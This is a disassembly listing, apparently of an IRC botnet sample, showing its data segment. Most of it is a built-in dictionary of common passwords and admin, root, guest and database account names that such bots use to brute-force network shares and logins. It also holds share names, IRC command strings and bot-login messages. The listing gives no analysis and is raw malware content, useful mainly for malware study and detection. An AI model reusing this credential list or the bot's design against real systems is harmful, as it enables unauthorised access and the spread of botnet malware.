aBoner		db 'boner',0            ; DATA XREF: _2:0042FC90o
		align 4
aBomb		db 'bomb',0             ; DATA XREF: _2:0042FC8Co
		align 4
aBoard		db 'board',0            ; DATA XREF: _2:0042FC88o
		align 4
aBlues		db 'blues',0            ; DATA XREF: _2:0042FC84o
		align 4
aBlue		db 'blue',0             ; DATA XREF: _2:0042FC80o
		align 4
aBlowjob	db 'blowjob',0          ; DATA XREF: _2:0042FC7Co
aBlow		db 'blow',0             ; DATA XREF: _2:0042FC78o
		align 4
aBloodaxe	db 'bloodaxe',0         ; DATA XREF: _2:0042FC74o
		align 10h
aBlood		db 'blood',0            ; DATA XREF: _2:0042FC70o
		align 4
aBlondie	db 'blondie',0          ; DATA XREF: _2:0042FC6Co
aBlonde		db 'blonde',0           ; DATA XREF: _2:0042FC68o
		align 4
aBlack		db 'black',0            ; DATA XREF: _2:0042FC64o
		align 10h
aBitnet		db 'bitnet',0           ; DATA XREF: _2:0042FC60o
		align 4
aBitmap		db 'bitmap',0           ; DATA XREF: _2:0042FC5Co
		align 10h
aBitch		db 'bitch',0            ; DATA XREF: _2:0042FC58o
		align 4
aBishop		db 'bishop',0           ; DATA XREF: _2:0042FC54o
		align 10h
aBird		db 'bird',0             ; DATA XREF: _2:0042FC50o
		align 4
aBios		db 'bios',0             ; DATA XREF: _2:0042FC4Co
		align 10h
aBinary		db 'binary',0           ; DATA XREF: _2:0042FC48o
		align 4
aBill		db 'bill',0             ; DATA XREF: _2:0042FC44o
		align 10h
aBigfoot	db 'bigfoot',0          ; DATA XREF: _2:0042FC40o
aBicamera	db 'bicamera',0         ; DATA XREF: _2:0042FC3Co
		align 4
aBible		db 'bible',0            ; DATA XREF: _2:0042FC38o
		align 4
aBeverly	db 'beverly',0          ; DATA XREF: _2:0042FC34o
aBetty		db 'betty',0            ; DATA XREF: _2:0042FC30o
		align 4
aBetsie		db 'betsie',0           ; DATA XREF: _2:0042FC2Co
		align 4
aBeth		db 'beth',0             ; DATA XREF: _2:0042FC28o
		align 4
aBeta		db 'beta',0             ; DATA XREF: _2:0042FC24o
		align 4
aBeryl		db 'beryl',0            ; DATA XREF: _2:0042FC20o
		align 4
aBerliner	db 'berliner',0         ; DATA XREF: _2:0042FC1Co
		align 4
aBerlin		db 'berlin',0           ; DATA XREF: _2:0042FC18o
		align 10h
aBerkeley	db 'berkeley',0         ; DATA XREF: _2:0042FC14o
		align 4
aBeowulf	db 'beowulf',0          ; DATA XREF: _2:0042FC10o
aBenz		db 'benz',0             ; DATA XREF: _2:0042FC0Co
		align 4
aBeloved	db 'beloved',0          ; DATA XREF: _2:0042FC08o
aBell		db 'bell',0             ; DATA XREF: _2:0042FC04o
		align 4
aBehead		db 'behead',0           ; DATA XREF: _2:0042FC00o
		align 4
aBegin		db 'begin',0            ; DATA XREF: _2:0042FBFCo
		align 4
aBeethove	db 'beethove',0         ; DATA XREF: _2:0042FBF8o
		align 4
aBecky		db 'becky',0            ; DATA XREF: _2:0042FBF4o
		align 10h
aBeaver		db 'beaver',0           ; DATA XREF: _2:0042FBF0o
		align 4
aBeauty		db 'beauty',0           ; DATA XREF: _2:0042FBECo
		align 10h
aBeater		db 'beater',0           ; DATA XREF: _2:0042FBE8o
		align 4
aBeast		db 'beast',0            ; DATA XREF: _2:0042FBE4o
		align 10h
aBear		db 'bear',0             ; DATA XREF: _2:0042FBE0o
		align 4
aBeammeup	db 'beammeup',0         ; DATA XREF: _2:0042FBDCo
		align 4
aBeach		db 'beach',0            ; DATA XREF: _2:0042FBD8o
		align 4
aBatman		db 'batman',0           ; DATA XREF: _2:0042FBD4o
		align 4
aBatch		db 'batch',0            ; DATA XREF: _2:0042FBD0o
		align 4
aBassoon	db 'bassoon',0          ; DATA XREF: _2:0042FBCCo
aBass		db 'bass',0             ; DATA XREF: _2:0042FBC8o
		align 4
aBasic		db 'basic',0            ; DATA XREF: _2:0042FBC4o
		align 4
aBaseball	db 'baseball',0         ; DATA XREF: _2:0042FBC0o
		align 10h
aBartman	db 'bartman',0          ; DATA XREF: _2:0042FBBCo
aBart		db 'bart',0             ; DATA XREF: _2:0042FBB8o
		align 10h
aBaritone	db 'baritone',0         ; DATA XREF: _2:0042FBB4o
		align 4
aBarf		db 'barf',0             ; DATA XREF: _2:0042FBB0o
		align 4
aBare		db 'bare',0             ; DATA XREF: _2:0042FBACo
		align 4
aBarber		db 'barber',0           ; DATA XREF: _2:0042FBA8o
		align 4
aBarbara	db 'barbara',0          ; DATA XREF: _2:0042FBA4o
aBanks		db 'banks',0            ; DATA XREF: _2:0042FBA0o
		align 4
aBank		db 'bank',0             ; DATA XREF: _2:0042FB9Co
		align 4
aBandit		db 'bandit',0           ; DATA XREF: _2:0042FB98o
		align 4
aBananas	db 'bananas',0          ; DATA XREF: _2:0042FB94o
aBanana		db 'banana',0           ; DATA XREF: _2:0042FB90o
		align 4
aBall		db 'ball',0             ; DATA XREF: _2:0042FB8Co
		align 4
aBailey		db 'bailey',0           ; DATA XREF: _2:0042FB88o
		align 4
aBadass		db 'badass',0           ; DATA XREF: _2:0042FB84o
		align 4
aBackdoor	db 'backdoor',0         ; DATA XREF: _2:0042FB80o
		align 4
aBacchus	db 'bacchus',0          ; DATA XREF: _2:0042FB7Co
aBaby		db 'baby',0             ; DATA XREF: _2:0042FB78o
		align 4
aBabe		db 'babe',0             ; DATA XREF: _2:0042FB74o
		align 10h
aAzure		db 'azure',0            ; DATA XREF: _2:0042FB70o
		align 4
aAztecs		db 'aztecs',0           ; DATA XREF: _2:0042FB6Co
		align 10h
aAuthoriz	db 'authoriz',0         ; DATA XREF: _2:0042FB68o
		align 4
aAttack		db 'attack',0           ; DATA XREF: _2:0042FB64o
		align 4
aAtom		db 'atom',0             ; DATA XREF: _2:0042FB60o
		align 4
aAtmosphe	db 'atmosphe',0         ; DATA XREF: _2:0042FB5Co
		align 4
aAthena		db 'athena',0           ; DATA XREF: _2:0042FB58o
		align 10h
aAsshole	db 'asshole',0          ; DATA XREF: _2:0042FB54o
aAsian		db 'asian',0            ; DATA XREF: _2:0042FB50o
		align 10h
aArtist		db 'artist',0           ; DATA XREF: _2:0042FB4Co
		align 4
aArthur		db 'arthur',0           ; DATA XREF: _2:0042FB48o
		align 10h
aArrow		db 'arrow',0            ; DATA XREF: _2:0042FB44o
		align 4
aArmy		db 'army',0             ; DATA XREF: _2:0042FB40o
		align 10h
aArlene		db 'arlene',0           ; DATA XREF: _2:0042FB3Co
		align 4
aAriadne	db 'ariadne',0          ; DATA XREF: _2:0042FB38o
aAria		db 'aria',0             ; DATA XREF: _2:0042FB34o
		align 4
aApril		db 'april',0            ; DATA XREF: _2:0042FB30o
		align 10h
aApollo13	db 'apollo13',0         ; DATA XREF: _2:0042FB2Co
		align 4
aAnything	db 'anything',0         ; DATA XREF: _2:0042FB28o
		align 4
aAnvils		db 'anvils',0           ; DATA XREF: _2:0042FB24o
		align 10h
aAnthropo	db 'anthropo',0         ; DATA XREF: _2:0042FB20o
		align 4
aAnthrax	db 'anthrax',0          ; DATA XREF: _2:0042FB1Co
aAnswer		db 'answer',0           ; DATA XREF: _2:0042FB18o
		align 4
aAnonymou	db 'anonymou',0         ; DATA XREF: _2:0042FB14o
		align 4
aAnon		db 'anon',0             ; DATA XREF: _2:0042FB10o
		align 10h
aAnnette	db 'annette',0          ; DATA XREF: _2:0042FB0Co
aAnne		db 'anne',0             ; DATA XREF: _2:0042FB08o
		align 10h
aAnna		db 'anna',0             ; DATA XREF: _2:0042FB04o
		align 4
aAnita		db 'anita',0            ; DATA XREF: _2:0042FB00o
		align 10h
aAnimals	db 'animals',0          ; DATA XREF: _2:0042FAFCo
aAnimal		db 'animal',0           ; DATA XREF: _2:0042FAF8o
		align 10h
aAngie		db 'angie',0            ; DATA XREF: _2:0042FAF4o
		align 4
aAngerine	db 'angerine',0         ; DATA XREF: _2:0042FAF0o
		align 4
aAngela		db 'angela',0           ; DATA XREF: _2:0042FAECo
		align 4
aAnfo		db 'anfo',0             ; DATA XREF: _2:0042FAE8o
		align 4
aAndy		db 'andy',0             ; DATA XREF: _2:0042FAE4o
		align 4
aAndromac	db 'andromac',0         ; DATA XREF: _2:0042FAE0o
		align 4
aAndroid	db 'android',0          ; DATA XREF: _2:0042FADCo
aAndrea		db 'andrea',0           ; DATA XREF: _2:0042FAD8o
		align 4
aAnchor		db 'anchor',0           ; DATA XREF: _2:0042FAD4o
		align 10h
aAnarchy	db 'anarchy',0          ; DATA XREF: _2:0042FAD0o
aAnarchis	db 'anarchis',0         ; DATA XREF: _2:0042FACCo
		align 4
aAnalog		db 'analog',0           ; DATA XREF: _2:0042FAC8o
		align 4
aAnal		db 'anal',0             ; DATA XREF: _2:0042FAC4o
		align 4
aAmorphou	db 'amorphou',0         ; DATA XREF: _2:0042FAC0o
		align 10h
aAmerica	db 'america',0          ; DATA XREF: _2:0042FABCo
aAmber		db 'amber',0            ; DATA XREF: _2:0042FAB8o
		align 10h
aAmanda		db 'amanda',0           ; DATA XREF: _2:0042FAB4o
		align 4
aAmadeus	db 'amadeus',0          ; DATA XREF: _2:0042FAB0o
aAlphabet	db 'alphabet',0         ; DATA XREF: _2:0042FAACo
		align 4
aAllow		db 'allow',0            ; DATA XREF: _2:0042FAA8o
		align 4
aAllison	db 'allison',0          ; DATA XREF: _2:0042FAA4o
aAlison		db 'alison',0           ; DATA XREF: _2:0042FAA0o
		align 4
aAlisa		db 'alisa',0            ; DATA XREF: _2:0042FA9Co
		align 4
aAlicia		db 'alicia',0           ; DATA XREF: _2:0042FA98o
		align 4
aAlice		db 'alice',0            ; DATA XREF: _2:0042FA94o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: _2:0042FA90o
aAlias		db 'alias',0            ; DATA XREF: _2:0042FA8Co
		align 4
aAlgebra	db 'algebra',0          ; DATA XREF: _2:0042FA88o
aAlexande	db 'alexande',0         ; DATA XREF: _2:0042FA84o
		align 10h
aAlex		db 'alex',0             ; DATA XREF: _2:0042FA80o
		align 4
aAlert		db 'alert',0            ; DATA XREF: _2:0042FA7Co
		align 10h
aAlbert		db 'albert',0           ; DATA XREF: _2:0042FA78o
		align 4
aAlbatros	db 'albatros',0         ; DATA XREF: _2:0042FA74o
		align 4
aAlbany		db 'albany',0           ; DATA XREF: _2:0042FA70o
		align 4
aAlaska		db 'alaska',0           ; DATA XREF: _2:0042FA6Co
		align 4
aAirplane	db 'airplane',0         ; DATA XREF: _2:0042FA68o
		align 10h
aAids		db 'aids',0             ; DATA XREF: _2:0042FA64o
		align 4
aAerobics	db 'aerobics',0         ; DATA XREF: _2:0042FA60o
		align 4
aAdult		db 'adult',0            ; DATA XREF: _2:0042FA5Co
		align 4
aAdrianna	db 'adrianna',0         ; DATA XREF: _2:0042FA58o
		align 4
aAdrian		db 'adrian',0           ; DATA XREF: _2:0042FA54o
		align 10h
aAdam		db 'adam',0             ; DATA XREF: _2:0042FA50o
		align 4
aAction		db 'action',0           ; DATA XREF: _2:0042FA4Co
		align 10h
aAccount	db 'account',0          ; DATA XREF: _2:0042FA48o
aAcademic	db 'academic',0         ; DATA XREF: _2:0042FA40o
		align 4
aAcademia	db 'academia',0         ; DATA XREF: _2:0042FA3Co
		align 10h
a000000		db '000000',0           ; DATA XREF: _2:0042FA38o
		align 4
a00000		db '00000',0            ; DATA XREF: _2:0042FA34o
		align 10h
a0000		db '0000',0             ; DATA XREF: _2:0042FA30o
		align 4
a000		db '000',0              ; DATA XREF: _2:0042FA2Co
aTesting	db 'testing',0          ; DATA XREF: _2:0042FA28o
aDeath		db 'death',0            ; DATA XREF: _2:0042FA24o
		align 4
a00		db '00',0               ; DATA XREF: _2:0042FA20o
		align 10h
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: _2:0042FA18o
		align 4
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: _2:0042FA14o
		align 4
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: _2:0042FA10o
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: _2:0042FA0Co
		align 4
aXxxxx		db 'xxxxx',0            ; DATA XREF: _2:0042FA08o
		align 10h
aXxxx		db 'xxxx',0             ; DATA XREF: _2:0042FA04o
		align 4
aXxx		db 'xxx',0              ; DATA XREF: _2:0042FA00o
aXx		db 'xx',0               ; DATA XREF: _2:0042F9FCo
		align 10h
asc_434C30:				; DATA XREF: _2:0042F9F8o
		unicode	0, <x>,0
aGuessme	db 'guessme',0          ; DATA XREF: _2:0042F9F4o
aYouwontguessme	db 'youwontguessme',0   ; DATA XREF: _2:0042F9F0o
		align 4
aUwontguessme	db 'uwontguessme',0     ; DATA XREF: _2:0042F9ECo
		align 4
aMirc_0		db 'mirc',0             ; DATA XREF: _2:0042F9E8o
		align 4
aKiddie		db 'kiddie',0           ; DATA XREF: _2:0042F9E4o
		align 4
aScriptkiddie	db 'scriptkiddie',0     ; DATA XREF: _2:0042F9E0o
		align 4
aScript		db 'script',0           ; DATA XREF: _2:0042F9DCo
		align 4
aHax0r		db 'hax0r',0            ; DATA XREF: _2:0042F9D8o
		align 4
aHacker		db 'hacker',0           ; DATA XREF: _2:0042F9D4o
		align 4
aL337		db 'l337',0             ; DATA XREF: _2:0042F9D0o
		align 4
aL33t		db 'l33t',0             ; DATA XREF: _2:0042F9CCo
		align 4
aLeet		db 'leet',0             ; DATA XREF: _2:0042F9C8o
		align 4
aKiller		db 'killer',0           ; DATA XREF: _2:0042F9C4o
		align 4
a0wn3d		db '0wn3d',0            ; DATA XREF: _2:0042F9C0o
		align 4
aW00t		db 'w00t',0             ; DATA XREF: _2:0042F9BCo
		align 4
aHeaven		db 'heaven',0           ; DATA XREF: _2:0042F9B8o
		align 4
aSpaceman	db 'spaceman',0         ; DATA XREF: _2:0042F9B4o
		align 4
aSatanic	db 'satanic',0          ; DATA XREF: _2:0042F9B0o
aSatanik	db 'satanik',0          ; DATA XREF: _2:0042F9ACo
aSatan		db 'satan',0            ; DATA XREF: _2:0042F9A8o
		align 10h
aGobo		db 'gobo',0             ; DATA XREF: _2:0042F9A4o
		align 4
aMatthew	db 'Matthew',0          ; DATA XREF: _2:0042F9A0o
aMatt		db 'Matt',0             ; DATA XREF: _2:0042F99Co
		align 4
aMat		db 'Mat',0              ; DATA XREF: _2:0042F998o
aPw		db 'pw',0               ; DATA XREF: _2:0042F994o
		align 10h
aMypass123	db 'mypass123',0        ; DATA XREF: _2:0042F990o
		align 4
aMypass		db 'mypass',0           ; DATA XREF: _2:0042F98Co
		align 4
aPw123		db 'pw123',0            ; DATA XREF: _2:0042F988o
		align 4
aAdmin123	db 'admin123',0         ; DATA XREF: _2:0042F984o
		align 4
aMypc123	db 'mypc123',0          ; DATA XREF: _2:0042F980o
aMypc		db 'mypc',0             ; DATA XREF: _2:0042F97Co
		align 4
aLove		db 'love',0             ; DATA XREF: _2:0042F978o
		align 10h
aPwd		db 'pwd',0              ; DATA XREF: _2:0042F974o
aLogin		db 'login',0            ; DATA XREF: _2:0042F970o
		align 4
aHome		db 'home',0             ; DATA XREF: _2:0042F96Co
		align 4
aZxcv		db 'zxcv',0             ; DATA XREF: _2:0042F968o
		align 4
aYxcv		db 'yxcv',0             ; DATA XREF: _2:0042F964o
		align 4
aQwer		db 'qwer',0             ; DATA XREF: _2:0042F960o
		align 4
aSecret		db 'secret',0           ; DATA XREF: _2:0042F95Co
		align 4
aAsdf		db 'asdf',0             ; DATA XREF: _2:0042F958o
		align 4
aPc		db 'pc',0               ; DATA XREF: _2:0042F954o
		align 10h
aWin		db 'win',0              ; DATA XREF: _2:0042F950o
aTest123	db 'test123',0          ; DATA XREF: _2:0042F94Co
aAbc		db 'abc',0              ; DATA XREF: _2:0042F948o
aAaa		db 'aaa',0              ; DATA XREF: _2:0042F944o
aA_1:					; DATA XREF: _2:0042F940o
		unicode	0, <a>,0
aCrash		db 'crash',0            ; DATA XREF: _2:0042F93Co
		align 10h
aFucked		db 'fucked',0           ; DATA XREF: _2:0042F938o
		align 4
aNetfuck	db 'netfuck',0          ; DATA XREF: _2:0042F934o
aIrule		db 'irule',0            ; DATA XREF: _2:0042F930o
		align 4
aOwned		db 'owned',0            ; DATA XREF: _2:0042F92Co
		align 10h
a0wned		db '0wned',0            ; DATA XREF: _2:0042F928o
		align 4
aNetDevil	db 'net-devil',0        ; DATA XREF: _2:0042F924o
		align 4
aNetdevil	db 'netdevil',0         ; DATA XREF: _2:0042F920o
		align 10h
aDevil		db 'devil',0            ; DATA XREF: _2:0042F91Co
		align 4
aNilez		db 'Nilez',0            ; DATA XREF: _2:0042F918o
		align 10h
aFoobar		db 'foobar',0           ; DATA XREF: _2:0042F914o
		align 4
aGod		db 'god',0              ; DATA XREF: _2:0042F910o
aSex		db 'sex',0              ; DATA XREF: _2:0042F90Co
aPat		db 'pat',0              ; DATA XREF: _2:0042F908o
aPatrick	db 'patrick',0          ; DATA XREF: _2:0042F904o
aAlpha		db 'alpha',0            ; DATA XREF: _2:0042F900o
		align 4
a007		db '007',0              ; DATA XREF: _2:0042F8FCo
a123abc		db '123abc',0           ; DATA XREF: _2:0042F8F8o
		align 10h
a1234qwer	db '1234qwer',0         ; DATA XREF: _2:0042F8F4o
		align 4
a123123		db '123123',0           ; DATA XREF: _2:0042F8F0o
		align 4
a121212		db '121212',0           ; DATA XREF: _2:0042F8ECo
		align 4
a111111		db '111111',0           ; DATA XREF: _2:0042F8E8o
		align 4
a110		db '110',0              ; DATA XREF: _2:0042F8E4o
a2600		db '2600',0             ; DATA XREF: _2:0042F8E0o
		align 10h
a2002		db '2002',0             ; DATA XREF: _2:0042F8D8o
		align 4
aXp_0		db 'xp',0               ; DATA XREF: _2:0042F8D4o
		align 4
aEnable		db 'enable',0           ; DATA XREF: _2:0042F8D0o
		align 4
aGodblessyou	db 'godblessyou',0      ; DATA XREF: _2:0042F8CCo
aIhavenopass	db 'ihavenopass',0      ; DATA XREF: _2:0042F8C8o
a123asd		db '123asd',0           ; DATA XREF: _2:0042F8C4o
		align 4
aSuper		db 'super',0            ; DATA XREF: _2:0042F8C0o
		align 4
aInternet	db 'Internet',0         ; DATA XREF: _2:0042F8BCo
		align 4
a123qwe		db '123qwe',0           ; DATA XREF: _2:0042F8B4o
		align 10h
aSybase		db 'sybase',0           ; DATA XREF: _2:0042F8B0o
		align 4
aAbc123		db 'abc123',0           ; DATA XREF: _2:0042F8A8o
		align 10h
aAbcd		db 'abcd',0             ; DATA XREF: _2:0042F8A4o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: _2:0042F89Co
		align 10h
aPass_0		db 'pass',0             ; DATA XREF: _2:0042F898o
		align 4
a88888888	db '88888888',0         ; DATA XREF: _2:0042F894o
		align 4
a11111111	db '11111111',0         ; DATA XREF: _2:0042F890o
		align 10h
a111		db '111',0              ; DATA XREF: _2:0042F88Co
a54321		db '54321',0            ; DATA XREF: _2:0042F888o
		align 4
a654321		db '654321',0           ; DATA XREF: _2:0042F884o
		align 4
a123456789	db '123456789',0        ; DATA XREF: _2:0042F880o
		align 10h
a12345678	db '12345678',0         ; DATA XREF: _2:0042F87Co
		align 4
a1234567	db '1234567',0          ; DATA XREF: _2:0042F878o
a123456		db '123456',0           ; DATA XREF: _2:0042F874o
		align 4
a12345		db '12345',0            ; DATA XREF: _2:0042F870o
		align 4
a1234		db '1234',0             ; DATA XREF: _2:0042F86Co
		align 4
a123		db '123',0              ; DATA XREF: _2:0042F868o
a12		db '12',0               ; DATA XREF: _2:0042F864o
		align 4
a1:					; DATA XREF: _2:0042F860o
		unicode	0, <1>,0
aTemp123	db 'temp123',0          ; DATA XREF: _2:0042F85Co
aChangeme_0	db 'Changeme',0         ; DATA XREF: _2:0042F858o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: _2:0042F854o
		align 4
aLinux		db 'linux',0            ; DATA XREF: _2:0042F850o
		align 10h
aUnix		db 'unix',0             ; DATA XREF: _2:0042F84Co
		align 4
aLocal		db 'LOCAL',0            ; DATA XREF: _2:0042F848o
		align 10h
aPepsi		db 'pepsi',0            ; DATA XREF: _2:0042F844o
		align 4
aServer_0	db 'SERVER',0           ; DATA XREF: _2:0042F840o
		align 10h
aSystem		db 'SYSTEM',0           ; DATA XREF: _2:0042F83Co
		align 4
aBackup		db 'BACKUP',0           ; DATA XREF: _2:0042F838o
		align 10h
aAccess		db 'ACCESS',0           ; DATA XREF: _2:0042F830o
		align 4
aTest		db 'TEST',0             ; DATA XREF: _2:0042F82Co
		align 10h
aEdu		db 'edu',0              ; DATA XREF: _2:0042F828o
aOwner_1	db 'Owner',0            ; DATA XREF: _2:0042F824o
		align 4
aOwner_0	db 'OWNER',0            ; DATA XREF: _2:0042F820o
		align 4
aDemo		db 'DEMO',0             ; DATA XREF: _2:0042F81Co
		align 4
aFiles		db 'FILES',0            ; DATA XREF: _2:0042F818o
		align 4
aRead		db 'READ',0             ; DATA XREF: _2:0042F814o
		align 4
aBoth		db 'BOTH',0             ; DATA XREF: _2:0042F810o
		align 4
aLadeda		db 'ladeda',0           ; DATA XREF: _2:0042F80Co
		align 4
aFull_0		db 'FULL',0             ; DATA XREF: _2:0042F808o
		align 4
aWrite		db 'WRITE',0            ; DATA XREF: _2:0042F804o
		align 4
aShare_0	db 'SHARE',0            ; DATA XREF: _2:0042F800o
		align 4
aTemp		db 'TEMP',0             ; DATA XREF: _2:0042F7FCo
		align 4
aPassword	db 'PASSWORD',0         ; DATA XREF: _2:0042F7F8o
		align 4
aAdmin_0	db 'ADMIN',0            ; DATA XREF: _2:0042F7F4o
		align 10h
aRoot_0		db 'ROOT',0             ; DATA XREF: _2:0042F7ECo
		align 4
aGuest_1	db 'GUEST',0            ; DATA XREF: _2:0042F7E8o
		align 10h
aBla		db 'bla',0              ; DATA XREF: _2:0042F7E4o
aFubar		db 'fubar',0            ; DATA XREF: _2:0042F7E0o
		align 4
aAdministrato_1	db 'ADMINISTRATOR',0    ; DATA XREF: _2:0042F7D4o
		align 4
aDb2		db 'db2',0              ; DATA XREF: _2:0042F7C4o
aOracle		db 'oracle',0           ; DATA XREF: _2:0042F7C0o _2:0042F8ACo
		align 4
aDba		db 'dba',0              ; DATA XREF: _2:0042F7BCo
aDatabase	db 'database',0         ; DATA XREF: _2:0042F7B8o _2:0042F8A0o
		align 4
aDefault	db 'default',0          ; DATA XREF: _2:0042F7B4o _2:0042FF40o
aGuest_0	db 'guest',0            ; DATA XREF: _2:0042F7B0o
		align 4
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: _2:0042F7ACo
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: _2:0042F7A8o _2:00430ED4o
aStudent	db 'student',0          ; DATA XREF: _2:0042F7A4o _2:00430E1Co
aOwner		db 'owner',0            ; DATA XREF: _2:0042F7A0o
		align 4
aComputer	db 'computer',0         ; DATA XREF: _2:0042F79Co _2:0042F8B8o
		align 4
aRoot		db 'root',0             ; DATA XREF: _2:0042F798o _2:0042F7F0o
		align 10h
aStaff		db 'staff',0            ; DATA XREF: _2:0042F794o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: _2:0042F790o
		align 10h
aAdmins		db 'admins',0           ; DATA XREF: _2:0042F78Co
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: _2:0042F788o
aAdministrateur	db 'administrateur',0   ; DATA XREF: _2:0042F784o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: _2:0042F780o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: _2:0042F77Co _2:0042F7DCo
		align 4
aH4ckerTool	db 'h4cker tool',0      ; DATA XREF: _2:off_42F6CCo
a@admin_com	db '*@admin.com',0      ; DATA XREF: _2:off_42F6C8o
dword_43511C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E6A9+352o
		dd 2BBBB02h, 6F422020h,	74732074h, 65747261h, 2E64h
dword_435144	dd 25207325h, 25222064h, 2273h ; DATA XREF: sub_40E6A9+280o
dword_435150	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EB92+F2o
		dd 2BBBB02h
aConnectedToS_	db '  Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40ECFA+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40ECFA+35o
		align 4
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+627Ao
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6262o
		align 4
dword_4351C4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6255o
		dd 2BBBB02h
aUserSLoggedIn_	db '  User: %s logged in.',0
		align 4
dword_4351F4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6238o
		dd 2BBBB02h
aAbosal7Accepte	db '  ABOSAL7 accepted.',0
dword_435220	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+61D7o
		dd 2BBBB02h, 462A2020h,	656C6961h, 6F682064h, 61207473h
		db 75h
aThBySS_	db 'th by: (%s!%s).',0  ; DATA XREF: _2:off_4274DCo
		align 4
dword_43525C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6170o
		dd 2BBBB02h
aFailedPassAuth	db '  *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYouVeBe	db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
					; DATA XREF: sub_40EE72+615Eo
					; sub_40EE72+61C5o
		align 4
aNoticeSNiceTry	db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_40EE72+6147o
					; sub_40EE72+61AEo
		align 4
asc_4352E4:				; DATA XREF: sub_40EE72+6117o
		unicode	0, <~>,0
dword_4352E8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+60C7o
		dd 2BBBB02h
aRandomNickChan	db '  Random nick change: %s',0
		align 4
dword_43531C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6013o
		dd 2BBBB02h
aInvalidLoginSl	db '  Invalid login slot number: %d.',0
		align 4
dword_435358	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6008o
		dd 2BBBB02h
aNoUserLoggedIn	db '  No user logged in at slot: %d.',0
		align 4
dword_435394	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5FB3o
		dd 2BBBB02h, 73252020h,	0
unk_4353B4	db    2			; DATA XREF: sub_40EE72+5F89o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToStar_6	db ' Failed to start secure thread, error: <%d>.',0
		align 10h
dword_435400	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_40EE72+5F13o
		dd 2202967h, 2002BBBBh,	20732520h, 74737973h, 2E6D65h
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_40EE72+5F0Do
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_40EE72+5F06o
		align 10h
aSec		db 'sec',0              ; DATA XREF: sub_40EE72+5EABo
aSecure		db 'secure',0           ; DATA XREF: sub_40EE72+5E9Ao
		align 4
unk_43544C	db    2			; DATA XREF: sub_40EE72+5E8Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStar_7	db 'Failed to start server thread, error: <%d>.',0
dword_435494	dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40EE72+5D6Do
dword_4354A4	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40EE72+5D68o
dword_4354B0	dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+5D55o
dword_4354BC	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_40EE72+5D50o
dword_4354CC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5D1Do
		dd 2BBBB02h, 65522020h,	6E6E6F63h, 69746365h, 2E676Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B82o
		align 4
dword_43550C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5CFBo
		dd 2BBBB02h, 69442020h,	6E6F6373h, 7463656Eh, 2E676E69h
		dd 0
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B60o
		align 10h
